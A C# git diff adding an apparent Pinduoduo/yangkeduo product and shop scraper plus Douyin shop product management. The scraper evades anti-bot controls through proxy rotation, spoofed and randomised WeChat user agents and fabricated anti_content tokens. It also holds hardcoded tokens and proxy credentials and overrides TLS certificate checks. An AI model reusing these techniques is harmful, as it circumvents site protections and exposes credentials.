Encoding.Default; + encoding = Encoding.UTF8; + str = new StreamReader(((HttpWebResponse)request.GetResponse()).GetResponseStream(), encoding).ReadToEnd(); + num = 10; + } + catch + { + num++; + } + } + } + catch + { + } + return str; + } + + public static string getHtml(string url, string cookies, string encod = "") + { + string str = ""; + try + { + int num = 0; + while (num < 3) + { + try + { + HttpWebRequest request = null; + if (!url.StartsWith("https", StringComparison.OrdinalIgnoreCase)) + { + request = WebRequest.Create(url) as HttpWebRequest; + } + else + { + ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(CheckValidationResult); + request = WebRequest.Create(url) as HttpWebRequest; + request.ProtocolVersion = HttpVersion.Version10; + } + request.Method = "Get"; + request.Referer = url; + request.ContentType = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;"; + request.ContentType = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"; + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36"; + request.Host = new Uri(url).Host; + if (cookies.Trim() != "") + { + request.Headers.Add("Cookie", cookies); + } + HttpWebResponse response = (HttpWebResponse)request.GetResponse(); + Encoding encoding = Encoding.Default; + if (encod == "utf8") + { + encoding = Encoding.UTF8; + } + StreamReader reader = new StreamReader(response.GetResponseStream(), encoding); + str = reader.ReadToEnd(); + try + { + reader.Close(); + response.Close(); + reader.Dispose(); + response = null; + request = null; + } + catch + { + } + num = 10; + } + catch + { + num++; + } + } + } + catch + { + } + return str; + } + } +} diff --git a/Work/BLL/Collect/PddSameScreeningBLL.cs b/Work/BLL/Collect/PddSameScreeningBLL.cs new file mode 100644 index 0000000..b1db7f7 --- /dev/null +++ b/Work/BLL/Collect/PddSameScreeningBLL.cs @@ -0,0 +1,788 @@ +using NaiBa.Util; +using NaiBa.Util.Extension; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Work.BLL.Collect +{ + public class PddSameScreeningBLL + { + #region http请求 + + //Returns the text contained in the response. For example, the page HTML. Only handles the most common HTTP encodings. + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + /// + /// 请求当前店铺销量 + /// + /// After the function has finished, will possibly contain the response to the request. + /// True if the request was successful; false otherwise. + public static string RequestShopSold(string url, string Token) + { + HttpWebResponse response = null; + try + { + //Create request to URL. + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + //Set request headers. + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, Token); + + //Get response to request. + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + //ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found) + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (response != null) response.Close(); + return ""; + } + + return ReadResponse(response); + + } + + + + + /// + /// 获取宝贝数量 + /// + /// After the function has finished, will possibly contain the response to the request. + /// True if the request was successful; false otherwise. + public static string RequestShopCount(string url, string Token) + { + HttpWebResponse response = null; + + try + { + //Create request to URL. + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://yangkeduo.com/proxy/api/api/turing/mall/query_mall_category_list?pdduid=2423695749878&mall_id=" + url); + + //Set request headers. + request.KeepAlive = true; + request.Accept = "application/json, text/plain, */*"; + request.Headers.Add("AccessToken", Token); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"; + request.Headers.Add("VerifyAuthToken", @"kUo_K6VOliEhlNZNorECKQ"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + //Get response to request. + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + //ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found) + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (response != null) response.Close(); + return ""; + } + + return ReadResponse(response); + } + + /// + /// Tries to request the URL: http://api.yangkeduo.com/mall/412236912/info + /// + /// After the function has finished, will possibly contain the response to the request. + /// True if the request was successful; false otherwise. + public static string Request_api_yangkeduo_com(string url, string Token) + { + HttpWebResponse response = null; + try + { + //Create request to URL. + string requestUrl = "http://api.yangkeduo.com/mall/" + url + "/info"; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(requestUrl); + //Set request headers. + request.Referer = "Android"; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("AccessToken", Token); + request.UserAgent = "android Mozilla/5.0 (Linux; Android 5.1.1; m1 metal Build/LMY49I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Safari/537.36 phh_android_version/4.17.1 phh_android_build/1a7ec8b149 phh_android_channel/gw"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip"); + + //Get response to request. + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + //ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found) + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (response != null) response.Close(); + return ""; + } + + return ReadResponse(response); + } + + public static string Request_api_yangkeduo_Ip(string url, string[] UserAgentList) + { + string result = ""; + try + { + string requestUrl = url; + HttpParam httpParam = new HttpParam(); + httpParam.Url = requestUrl; + httpParam.Referer = url; + string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())]; + if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger")) + { + UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + } + httpParam.UserAgent = UserAgentTemp; + httpParam.TryTimes = 60; + httpParam.ProxySleep = 500; + if (url.Contains("mall_page.html")) + { + result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("店铺主页")); + if (result.Contains(("店铺主页"))) + { + Thread.Sleep(10000); + httpParam.TryTimes = 60; + httpParam.Timeout = 10000; + result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("店铺主页")); + } + } + else + { + result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("error_code")); + if (result.Contains(("error_code"))) + { + Thread.Sleep(10000); + httpParam.TryTimes = 60; + result = GlobalProxyHelper.Request(httpParam, (response) => !string.IsNullOrEmpty(response) && !response.Contains("error_code")); + + } + } + + } + catch (Exception ex) + { + return ""; + } + + + return result; + } + + + public static List listIp = new List(); + + private static readonly object obj = new object(); + private static int UseCount = 0; + public static string Request_yangkeduo_com(string sIpAndPort, long lProdId, string[] UserAgentList, out bool IsOverdue, bool IsBreak = false) + { + IsOverdue = false; + try + { + if (IsBreak) + { + return ""; + } + if (UseCount >= 150 && listIp.Count > 0)//代理ip 使用超过150次 才去请求一次ip + { + listIp.Clear(); + } + lock (obj) + { + //Thread.Sleep(3000); + if (listIp.Count() <= 0) + { + //Thread.Sleep(1000); + listIp = InitIp(sIpAndPort, out IsOverdue); + UseCount = 0; + } + } + if (IsOverdue) + { + return ""; + } + string ProxyIP = listIp[new Random().Next(0, listIp.Count)]; + UseCount++; + //listIp.Remove(listIp[0]); + + HttpWebResponse response = null; + try + { + string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())]; + if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger")) + { + UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + } + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://mobile.yangkeduo.com/goods.html?goods_id=" + lProdId); + request.Timeout = 5000; + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en;q=0.8"); + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.UserAgent = UserAgentTemp; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + System.Net.WebProxy proxy = GetWebProxy(ProxyIP); + request.Proxy = proxy; + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + Thread.Sleep(3000); + LogHelper.Write(e.Message); + } + catch (Exception) + { + + } + + if (response != null) + { + + string result = ReadResponse(response); + if (result.Contains("mallID")) + { + //GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return HtmlHelper.UnicodeDecode(result); + } + + } + return ""; + + } + catch (Exception ex) + { + return ""; + } + } + + public static string RequestUrl_yangkeduo_com(long lProdId, string[] UserAgentList, string orderId, out bool IsOverdue) + { + IsOverdue = false; + int count = 0; + try + { + Again: + count++; + HttpWebResponse response = null; + try + { + string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())]; + if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger")) + { + UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + } + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://goods.66daili.cn/api/goods/get/?orderid=" + orderId + "&token=5AF433ED506FA475&goodID=" + lProdId); + request.Timeout = 5000; + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en;q=0.8"); + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.UserAgent = UserAgentTemp; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + response = (HttpWebResponse)request.GetResponse(); + } + catch (Exception ex) + { + Thread.Sleep(1000); + LogHelper.Write(ex.Message); + } + if (response != null) + { + string result = ReadResponse(response); + if (result.Contains("order expire or not exist")) + { + IsOverdue = true; + return ""; + } + if (result.Contains("mall_id") || result.Contains("mallId") || result.Contains("mallID")) + { + return HtmlHelper.UnicodeDecode(result); + } + else + { + if (count < 10) + { + Thread.Sleep(new Random().Next(50, 200)); + goto Again; + } + } + } + else + { + if (count < 10) + { + Thread.Sleep(new Random().Next(50, 200)); + goto Again; + } + } + return ""; + } + catch (Exception ex) + { + return ""; + } + } + + public static string MakeRequestForGetPddProdDetailByWeixin(string sIpAndPort, long lProdId) + { + while (true) + { + bool IsOverdue = false; + List listIp = InitIp(sIpAndPort, out IsOverdue); + //if(listIp!=null&&listIp.Count>0) + for (int i = 0; i < listIp.Count; i++) + { + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://wxapp.yangkeduo.com/compose/vtx/goods/detail/first/v3?pdduid=4014246301&xcx=20161201&xcx_version=v5.7.6.1&xcx_hash=" + GetTimeStampMilliSec() + GetRandomString(16)); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("GZToken", Guid.NewGuid().ToString().Replace("-", "").Substring(0, 32)); + //request.Headers.Add("GZToken", @"8dc2715af33d80577efe1cccd945fd38"); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat"; + request.ContentType = "application/json;charset=UTF-8"; + request.Referer = "https://servicewechat.com/wx32540bd863b27570/1116/page-frame.html"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + System.Net.WebProxy proxy = GetWebProxy(listIp[i]); + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = @"{""goods_id"":""" + lProdId + @""",""from"":""24"",""has_rec"":true,""address_list"":[{""address_id"":""19159230174"",""province_id"":""3"",""city_id"":""3401"",""district_id"":""4124"",""is_default"":""1"",""is_top"":0}],""page_version"":7,""show_type"":1,""xcx_trace_id"":""" + GetRandrom(16) + @""",""client_time"":" + GetTimeStampMilliSec() + @",""anti_content"":""3aje" + GetRandomString(122) + @""",""xcx_version"":""v5.7.6.1""}"; + //string body = @"{""goods_id"":""" + lProdId + @""",""from"":""24"",""has_rec"":true,""address_list"":[{""address_id"":""19159230174"",""province_id"":""3"",""city_id"":""3401"",""district_id"":""4124"",""is_default"":""1"",""is_top"":0}],""page_version"":7,""show_type"":1,""xcx_trace_id"":""4277241276553842"",""client_time"":" + GetTimeStampMilliSec() + @",""anti_content"":""3ajeJxjZGRgYAhjYGJMBOIkIE4G4hQgTmVQZEyTMzEwMDAzsDCxMLYwNDY2MdU1NLU0MDW1NDUyNjM2ZeBiTGdnYCwK2WOnxMDKmMEENIyZMZMByM5iYmAEADpcDLo"",""xcx_version"":""v5.7.6.1""}"; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + + } + catch (WebException e) + { + //return ""; + } + catch (Exception) + { + //return ""; + } + if (response == null) continue; + string result = ReadResponse(response); + if (result.Contains("\"success\":true")) + { + //GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return result; + } + else + { + + } + Thread.Sleep(500); + } + GlobalProxyHelper.CloseIp(listIp);//没找到也关闭 + Thread.Sleep(3000); + } + } + + /// + /// 整店采集 + /// + /// + /// + /// + /// + public static string RequestAllShopList(string sIpAndPort, string url, Func antiContentFunc, string UserAgent) + { + while (true) + { + bool IsOverdue = false; + List listIp = InitIp(sIpAndPort, out IsOverdue); + string NewUrl = ""; + for (int i = 0; i < listIp.Count; i++) + { + HttpWebResponse response = null; + try + { + NewUrl = url + "&anticontent=" + antiContentFunc(UserAgent); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(NewUrl); + request.KeepAlive = true; + request.Accept = "application/json, text/plain, */*"; + request.UserAgent = UserAgent; + //request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 QBCore/4.0.1301.400 QQBrowser/9.0.2524.400 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2875.116 Safari/537.36 NetType/WIFI MicroMessenger/7.0.5 WindowsWechat"; + request.Referer = "https://mobile.yangkeduo.com/"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.5;q=0.4"); + System.Net.WebProxy proxy = GetWebProxy(listIp[i]); + request.Proxy = proxy; + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + + } + catch (Exception ex) + { + + } + if (response == null) + { + continue; + } + + string result = ReadResponse(response); + if (result.Contains("goods_list")) + { + //GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return HtmlHelper.UnicodeDecode(result); + } + Thread.Sleep(new Random().Next(500, 1500)); + } + GlobalProxyHelper.CloseIp(listIp);//没找到也关闭 + Thread.Sleep(3000); + } + } + + + private static long GetRandrom(int len) + { + Random rand = new Random(); + string strNum = ""; + int i = 0; + while (i < len) + { + i++; + int randomNum = rand.Next(0, 10); + strNum += randomNum.ToString(); + } + + return strNum.ParseToLong(); + } + + + public static string Request_weixinKweWords(string sIpAndPort, string keyword, int page) + { + while (true) + { + bool IsOverdue = false; + List listIp = InitIp(sIpAndPort, out IsOverdue); + //if(listIp!=null&&listIp.Count>0) + for (int i = 0; i < listIp.Count; i++) + { + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://wxapp.yangkeduo.com/compose/vtx/search?pdduid=4014246301&xcx=20161201&xcx_version=v5.7.9&xcx_hash=1590732694274NkDSTBGS61cRPBiD"); + + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "no-cache"); + request.Headers.Add("GZToken", @"7933a2eca48857c7640ce14ff17d4bbb"); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat"; + request.ContentType = "application/json;charset=UTF-8"; + request.Referer = "https://servicewechat.com/wx32540bd863b27570/1125/page-frame.html"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + System.Net.WebProxy proxy = GetWebProxy(listIp[i]); + request.Proxy = proxy; + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + //string body = "{\"\"is_form_wallet\"\":false,\"\"query\"\":\"\"" + keyword + "\"\",\"\"new_search\"\":true,\"\"search\"\":{\"\"page\"\":" + page + ",\"\"size\"\":20,\"\"requery\"\":0,\"\"list_id\"\":\"\"xcx_search_ZN6Xie\"\",\"\"source\"\":\"\"index\"\",\"\"sort\"\":\"\"default\"\"},\"\"anti_content\"\":\"\"3ajeJxjZGRgYAhjYGJMBOIkIE4G4hQgTmVQZEyTMzYzMzU0trAwNzU1NbI0NdU1NLU0MDc2MrM0NTA0Z-BiTGdnYCyK51vMwMDKmMEENIyZMRPEzgKyATcqDHE\"\",\"\"xcx_version\"\":\"\"v5.7.9\"\"}"; + string body = @"{""is_form_wallet"":false,""query"":""连衣裙"",""new_search"":true,""search"":{""page"":1,""size"":20,""requery"":0,""list_id"":""xcx_search_ZN6Xie"",""source"":""index"",""sort"":""default""},""anti_content"":""3ajeJxjZGRgYAhjYGJMBOIkIE4G4hQgTmVQZEyTMzYzMzU0trAwNzU1NbI0NdU1NLU0MDc2MrM0NTA0Z-BiTGdnYCyK51vMwMDKmMEENIyZMRPEzgKyATcqDHE"",""xcx_version"":""v5.7.9""}"; + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + + } + catch (WebException e) + { + + } + catch (Exception) + { + + } + + string result = ReadResponse(response); + //if (result.Contains("mallID")) + { + GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return result; + } + Thread.Sleep(500); + } + GlobalProxyHelper.CloseIp(listIp);//没找到也关闭 + Thread.Sleep(3000); + } + } + + private static char[] constant = +{ +'0','1','2','3','4','5','6','7','8','9', +'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', +'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' +}; + private static string GetRandomString(int iLength) + { + System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62); + Random rd = new Random(); + for (int i = 0; i < iLength; i++) + { + newRandom.Append(constant[rd.Next(62)]); + } + return newRandom.ToString(); + + } + public static string GetTimeStampMilliSec() + { + TimeSpan ts = DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, 0); + return Convert.ToInt64(ts.TotalMilliseconds).ToString(); + } + + public static List InitIp(string ProxyUrl, out bool IsOverdue) + { + IsOverdue = false; + if (listIp.Count > 0) + { + return listIp; + } + HttpParam httpParm = new HttpParam { Url = ProxyUrl }; + GlobalProxyHelper.SetAuthorization(httpParm); + string proxyIpHtml = string.Empty; + List proxyIpList = new List(); + int tryTimes = 0; + int maxTryTimes = 10; + while (true && tryTimes <= maxTryTimes) + { + proxyIpHtml = HttpHelper.Get(httpParm); + if (proxyIpHtml.Contains("过期") || proxyIpHtml.Contains("套餐不存在")) + { + IsOverdue = true; + break; + } + if (!string.IsNullOrEmpty(proxyIpHtml) && !proxyIpHtml.Contains("后获取") && !proxyIpHtml.Contains("过期") && !proxyIpHtml.Contains("套餐不存在")) + { + proxyIpList = proxyIpHtml.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Select(p => p.Trim()).ToList(); + break; + } + tryTimes++; + Thread.Sleep(3000); + } + return proxyIpList; + } + + + + + + public static string RequestTest(string sIpAndPort, string url) + { + + while (true) + { + bool IsOverdue = false; + List listIp = InitIp(sIpAndPort, out IsOverdue); + //if(listIp!=null&&listIp.Count>0) + for (int i = 0; i < listIp.Count; i++) + { + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.2444.133 Safari/537.36"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"; + request.Referer = url; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + System.Net.WebProxy proxy = GetWebProxy(listIp[i]); + request.Proxy = proxy; + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + + } + catch (Exception) + { + + } + + string result = ReadResponse(response); + if (!result.Contains("店铺主页")) + { + GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return result; + } + Thread.Sleep(500); + } + GlobalProxyHelper.CloseIp(listIp);//没找到也关闭 + Thread.Sleep(3000); + } + + //HttpWebResponse response = null; + + //try + //{ + // HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + // request.KeepAlive = true; + // request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + // request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + // request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"; + // request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"; + // request.Referer = url; + // request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + // request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + // System.Net.WebProxy proxy = GetWebProxy("120.79.214.87 11318 test200420-1 gu05VREpn349KSiT"); + // request.Proxy = proxy; + + // response = (HttpWebResponse)request.GetResponse(); + //} + //catch (WebException e) + //{ + // //ProtocolError indicates a valid HTTP response, but with a non-200 status code (e.g. 304 Not Modified, 404 Not Found) + // if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + // else return ""; + //} + //catch (Exception) + //{ + // if (response != null) response.Close(); + // return ""; + //} + + //return ReadResponse(response); + } + public static string RequestTestA(string sIpAndPort, string url) + { + + while (true) + { + bool IsOverdue = false; + List listIp = InitIp(sIpAndPort, out IsOverdue); + //if(listIp!=null&&listIp.Count>0) + for (int i = 0; i < listIp.Count; i++) + { + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.Accept = "application/json, text/plain, */*"; + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"; + //request.Headers.Add("VerifyAuthToken", @"ymXDWelTcWGRcf9dQBsVgw"); + request.Referer = url; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + response = (HttpWebResponse)request.GetResponse(); + System.Net.WebProxy proxy = GetWebProxy(listIp[i]); + request.Proxy = proxy; + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + + } + catch (Exception) + { + + } + + string result = ReadResponse(response); + if (!result.Contains("error_code")) + { + GlobalProxyHelper.CloseIp(listIp);//找到了 把当前获取到的ip关闭 + return result; + } + Thread.Sleep(500); + } + GlobalProxyHelper.CloseIp(listIp);//没找到也关闭 + Thread.Sleep(3000); + } + + + } + + + + public static WebProxy GetWebProxy(string ip = "") + { + WebProxy webProxy = null; + try + { + if (!string.IsNullOrEmpty(ip)) + { + string[] ipArr = ip.Split(new string[] { " ", ":" }, StringSplitOptions.RemoveEmptyEntries); + switch (ipArr.Length) + { + case 2: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + break; + + case 4: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + webProxy.Credentials = new NetworkCredential(ipArr[2], ipArr[3]); + break; + } + return webProxy; + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + return webProxy; + } + + #endregion + } +} diff --git a/Work/BLL/Product/ShopProductBLL.cs b/Work/BLL/Product/ShopProductBLL.cs new file mode 100644 index 0000000..b481472 --- /dev/null +++ b/Work/BLL/Product/ShopProductBLL.cs @@ -0,0 +1,74 @@ +using AllBase.Model.Result; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Work.DouyinApiClass; + +namespace Work.BLL.Product +{ + public class ShopProductBLL + { + /// + /// 获取店铺商品列表 + /// + /// 店铺 + /// 商品是否在售 0在售 1仓库 + /// 页数 从1开始 + /// 每页商品数量 + /// 最后更新时间 + /// + public string GetShopProductListData(DouShopLoginInfo shop, int productStatus = 0, int page = 1, int pageSize = 50, long update_end_time = 0) + { + // 读取在售商品数量 + Dictionary dictionary = new Dictionary(); + dictionary.Add("page", page.ToString()); + dictionary.Add("size", pageSize.ToString()); + if (update_end_time > 0) + dictionary.Add("update_end_time", update_end_time.ToString()); + // check_status 指定审核状态返回商品列表:1未提审 2审核中 3审核通过 4审核驳回 5封禁 7审核通过,待上架状态 + if (productStatus == 0) + dictionary["check_status"] = "3"; + //else + // dictionary["check_status"] = "1"; + dictionary["status"] = productStatus.ToString(); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.GetProductList(); + return resultOnline; + } + + public string OnSaleProduct(DouShopLoginInfo shop, string productIds) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("product_id", productIds); + dictionary.Add("start_sale_type", "0"); + dictionary.Add("commit", "true"); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.GetProductEdit(); + return resultOnline; + } + + public string OffSaleProduct(DouShopLoginInfo shop, string productIds) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("product_id", productIds); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.SetProductOffline(); + return resultOnline; + } + + public string DeleteProduct(DouShopLoginInfo shop, string productIds) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("product_id", productIds); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.DeleteProduct(); + return resultOnline; + } + } +} diff --git a/Work/BLL/Product/ViolateBLL.cs b/Work/BLL/Product/ViolateBLL.cs new file mode 100644 index 0000000..7a30acf --- /dev/null +++ b/Work/BLL/Product/ViolateBLL.cs @@ -0,0 +1,53 @@ +using AllBase; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.BLL.Product +{ + public class ViolateBLL + { + public static string GetViolate(string upId, long upIdNumber) + { + string address = BaseClass.BuildObjString("violate&act=get"); + string param = UserLogin.GetSignaturex() + + "&pid=" + upId + + "&suffix=" + upIdNumber % 1024; + string html = GetHtml.PostUtf8(address, param); + if (html == null) + html = ""; + var data = BaseRegex.GetStringJson(ref html, "data"); + if (data == null) + { + if (html.Contains("\"msg\":\"success\"")) + data = "none"; + else + data = ""; + } + return data; + } + + public static string GetViolateList(List upIds) 